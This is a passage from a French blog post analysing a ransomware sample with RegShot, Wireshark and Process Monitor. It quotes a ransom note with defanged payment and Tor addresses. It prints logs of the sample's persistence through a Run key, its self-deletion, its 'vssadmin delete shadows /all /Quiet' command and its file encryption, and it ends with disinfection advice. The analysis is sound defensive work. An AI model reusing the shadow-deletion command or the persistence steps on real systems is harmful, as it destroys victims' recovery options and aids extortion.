For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
1. hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
2. hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
3. hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
4. hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
5. hxxps://t7r67vsrpjcm5dfc.tor2web.org/4D5492355C95A030
6. hxxps://t7r67vsrpjcm5dfc.onion.cab/4D5492355C95A030
If for some reasons the addresses are not available, follow these steps:
1. Download and install tor-browser: hxxp://www.torproject.org/projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
4. Follow the instructions on the site.
========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
!!! IMPORTANT INFORMATION:
!!! Your personal pages:
hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
!!! Your personal TOR-Browser page: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
!!! Your personal identification ID (if you open the site directly): 4D5492355C95A030
========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
[/code]
Registre
RegShot est un outil permettant de visualiser les différences dans le registre Windows entre deux moments. Pour cela il effectue deux instantanées du registre, un avant l’exécution du malware, et un après, il compare les deux à la fin pour afficher les modifications survenues.
[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]
J’aime beaucoup le nom de la valeur 😀
[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030\data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39 61 42 4D 77 74 38 64 75 6B 32 62 4D 37 4D 41 37 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 EF 5C 38 BB E8 9A EF 63 CA 64 72 B5 41 07 E6 91 9B 99 F5 5F C7 DF BF B6 AB 5F 88 19 73 97 99 FB 01 56 5E 23 76 6B D7 8E E6 74 46 98 72 BE 00 3D 64 80 BA DC 34 BA 11 9B 85 DB A9 55 D0 05 52 87 00 00 32 31 38 30 39 41 37 35 43 35 32 35 41 43 33 42 44 35 39 39 35 44 35 35 30 34 46 33 31 31 37 32 38 33 35 42 31 33 36 38 31 36 32 35 33 43 30 35 38 45 32 37 35 41 39 34 36 38 42 39 46 41 36 44 36 36 30 46 33 36 38 41 31 32 46 34 36 44 34 45 45 46 38 41 38 45 37 36 44 35 46 44 35 41 41 38 41 46 38 38 39 34 42 30 36 39 43 33 39 32 33 45 41 33 39 38 34 31 34 42 36 43 42 39 31 42 33 30 00 00 00 00 04 DB F1 93 E1 81 AA 71 67 97 C5 C5 FA 1F B5 3D 6C 21 ED 18 5B AD 61 23 EE B7 33 9D 9C D8 DF 21 7B 25 5D 69 97 71 23 3C 9E 83 13 DB 78 85 8E 96 7E 27 5C D5 47 26 90 E1 76 45 2E
66 8D BA F6 14 21 00 00 00 00 00 00 00 00 1C 3D 73 56 00 00 00 00
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys\ID: 4D 54 92 35 5C 95 A0 30[/code]
Réseau
Wireshark va nous permettre de voir ce qui circule sur le réseau.
Le malware va résoudre et contacter [i]myexternalip.com[/i] pour connaitre notre adresse IP.
Puis il va résoudre et contacter un site (ou plusieurs si nécessaire), ce sont des sites WordPress piratés sur lesquels le pirate a placé un fichier php lui appartenant. Le malware les appels avec une première variable. Le script php répond alors :
---!!!INSERTED!!!---
.
Il rappel ensuite le même site après le processus de chiffrement avec une nouvelle variable, le script PHP répond la même chose.
Les variables sont totalement différentes, y compris si on multiplie les exécutions, seule une en-tête commune à toutes les secondes communications (après chiffrement) existe.
On peut quand même en déduire que si paires de clés RSA il y a, elles n’ont pas été générées coté serveur. Or l’intérêt est de garder une partie secrète sur le serveur, ici soit elle transite en clair via le réseau, soit elle est stockée en local, soit il n’y a pas de chiffrement avec RSA. On sait de même que la clé utilisée est à priori unique (header commun).
Système
Process Monitor permet de visualiser les actions effectuées par les processus.
[code]23:54:18,8152357 73.exe 8844 IRP_MJ_CREATE C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS Desired Access: Generic Write, Read Attributes, Delete, Disposition: OverwriteIf, Options: Sequential Access, Synchronous IO Non-Alert, Non-Directory File, Attributes: A, ShareMode: None, AllocationSize: 0, OpenResult: Created
23:54:18,8883688 73.exe 8844 Process Create C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS PID: 9000, Command line: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]
73.exe crée un fichier qjgemacroic.exe qui est une copie de lui-même.
[code]23:54:20,0017606 73.exe 8844 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 8756, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\Bureau\73.exe[/code]
73.exe s’auto-supprime et qjgemacroic.exe prend le relai.
[code]23:54:20,3724817 qjgemacroic.exe 9000 RegCreateKey HKCU\Software\zsys\ SUCCESS Desired Access: Read/Write
23:54:20,5873677 qjgemacroic.exe 9000 RegSetValue HKCU\Software\4D5492355C95A030\data SUCCESS Type: REG_BINARY, Length: 328, Data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39
23:54:20,6213765 qjgemacroic.exe 9000 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc SUCCESS Type: REG_SZ, Length: 154, Data: C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe[/code]
Il crée les clés de registre citées plus tôt.
[code]23:54:20,9402170 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\vssadmin.exe SUCCESS PID: 9160, Command line: “C:\WINDOWS\system32\vssadmin.exe” delete shadows /all /Quiet [/code]
Il supprime les VSS. Adieu points de restauration et versions précédentes des fichiers.
[code]23:54:21,0972579 qjgemacroic.exe 9000 IRP_MJ_CREATE C:\Documents and Settings\%username%\Mes documents\recover_file_gdwasfaxi.txt SUCCESS Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created[/code]
Il crée un fichier un peu spécial :
[code]1YXmt9FeTEut7iW9aBMwt8duk2bM7MA7q
EF5C38BBE89AEF63CA6472B54107E6919B99F55FC7DFBFB6AB5F8819739799FB
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D
660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30
4D5492355C95A030
73[/code]
On y voit notre ID, des choses qu’on retrouve dans les entêtes aussi.
[code]23:54:21,3637842 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\* SUCCESS Type: QueryDirectory, Filter: *, 2: AdwCleaner
23:54:21,3725150 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner\* SUCCESS Type: QueryDirectory, Filter: *, 2: .
23:54:21,3902225 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner SUCCESS Type: QueryDirectory, 1: .., 2: AdwCleaner[R5].txt, 3: AdwCleaner[R6].txt, 4: Quarantine
23:54:21,3923379 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 0, Length: 394
23:54:21,3923803 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 394, Length: 20
23:54:21,3923912 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 414, Length: 992
23:54:21,5671137 qjgemacroic.exe 9000 IRP_MJ_SET_INFORMATION C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Type: SetRenameInformationFile, ReplaceIfExists: False, FileName: C:\AdwCleaner\AdwCleaner[R5].txt.vvv
[/code]
On va parcourir tout le disque à partir de la racine, dossier par dossier, puis fichier par fichier, quand une extension correspond, le malware réécrit complètement le fichier (on voit qu’il est plus grand à la fin) puis le renomme avec un .vvv.
[code]23:54:21,5715319 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.txt SUCCESS Offset: 0, Length: 2 560
23:54:21,5717844 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.html SUCCESS Offset: 0, Length: 10 654
[/code]
Il place également un [i]how_recover+hfv.txt[/i] et [i]how_recover+hfv.html[/i] dans tous les dossiers (même si il n’y a rien de chiffré dedans). Tous y passe sauf le dossier Windows.
[code]23:57:06,4031183 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\NOTEPAD.EXE SUCCESS PID: 9736, Command line: “C:\WINDOWS\system32\NOTEPAD.EXE” C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.TXT[/code]
Affichage des instructions sur notepad.
[code]23:57:06,4697720 qjgemacroic.exe 9000 Process Create C:\Program Files\Mozilla Firefox\firefox.exe SUCCESS PID: 9096, Command line: “C:\Program Files\Mozilla Firefox\firefox.exe” -osint -url “C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.HTM”
[/code]
Affichage des instructions sur le navigateur.
[code]23:57:06,9842435 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\rundll32.exe SUCCESS PID: 9936, Command line: “rundll32.exe” C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.BMP[/code]
Affichage de l’image.
[code]23:57:08,7694981 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 10136, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\APPLIC~1\QJGEMA~1.EXE[/code]
Une fois le processus de chiffrement terminé le fichier s’auto-détruit.
Il serait intéressant de se pencher plus en détail sur le processus de chiffrement, j’ai de sérieux doutes sur la robustesse des mécanismes mis en œuvre par ce malware.
On voit qu’à la fin le malware n’est plus actif, en désinfection il faudrait virer les clés laissés par l’infection, voir retirer les fichiers “howto” et les fichiers chiffrés (ce qui retire toute chance de pouvoir les déchiffrer dans un moment futur).
Pour tous commentaires ça se passe par ici : https://forum.security-x.fr/blog-sx/